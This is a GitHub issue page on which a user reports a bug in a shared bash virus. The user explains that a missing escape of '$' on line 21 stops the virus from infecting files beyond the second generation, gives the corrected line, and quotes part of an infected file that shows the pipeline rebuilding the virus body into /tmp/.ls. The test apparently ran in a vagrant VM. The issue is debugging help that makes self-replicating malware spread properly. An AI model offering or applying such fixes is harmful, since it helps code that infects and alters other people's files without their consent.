Skip to content

Missing Escape of $ results in limited infection #1

@Kaedo

Description

@Kaedo

Hey Mr. Arceri,
thank you for sharing the bash virus.
I encountered a little bug in the line 21. It does lack an escape character for the '$' which prevents an infection after the second generation.
echo "tail -n 36 $0 | ...'
should be
echo "tail -n 36 \$0 | ...'

Otherwise, the first 3 ordering commands of the infected file will reference the original virus and not itself.
See the following example of dummy.sh after the execution of the virus in the vagrant vm. Here ./virus.sh. should be $0.

#dummy.sh ... Lorem ipsum dolor sit amet, tail -n 36 ./virus.sh | awk '{ print($NF" "$0) }' | cut -d"@" -f2- | sort -g | cut -d" " -f2- > /tmp/.ls ...

Cheers,
Martin

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions